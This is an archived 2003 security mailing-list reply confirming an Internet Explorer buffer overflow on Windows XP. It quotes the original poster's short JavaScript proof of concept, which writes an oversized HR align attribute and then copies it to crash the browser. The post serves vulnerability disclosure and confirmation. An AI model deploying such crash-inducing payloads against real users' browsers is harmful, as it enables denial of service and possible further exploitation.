[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <3EF72E1A.3080302@snosoft.com>
Date: Mon, 23 Jun 2003 16:43:06 +0000
From: KF <dotslash@...soft.com>
To: Digital Scream <digitalscream@...l.xakep.ru>
Subject: Re: Internet Explorer >=5.0 : Buffer overflow
I can confirm this on Windows XP Professional
version 6.0.2800.1106.xpsp2-030422-1633
0x43534c41 refrenced mem at 0x43534c41
-KF
Digital Scream wrote:
><script>
> wnd=open("about:blank","","");
> wnd.moveTo(screen.Width,screen.Height);
> WndDoc=wnd.document;
> WndDoc.open();
> WndDoc.clear();
> buffer="";
> for(i=1;i<=127;i++)buffer+="X";
> buffer+="DigitalScream";
> WndDoc.write("<HR align='"+buffer+"'>");
> WndDoc.execCommand("SelectAll");
> WndDoc.execCommand("Copy");
> wnd.close();
></script>
>
>Grtz: Nj3l, buggzy, 3APA3A, Void Team, X - Crew
>
>
>
Powered by blists - more mailing lists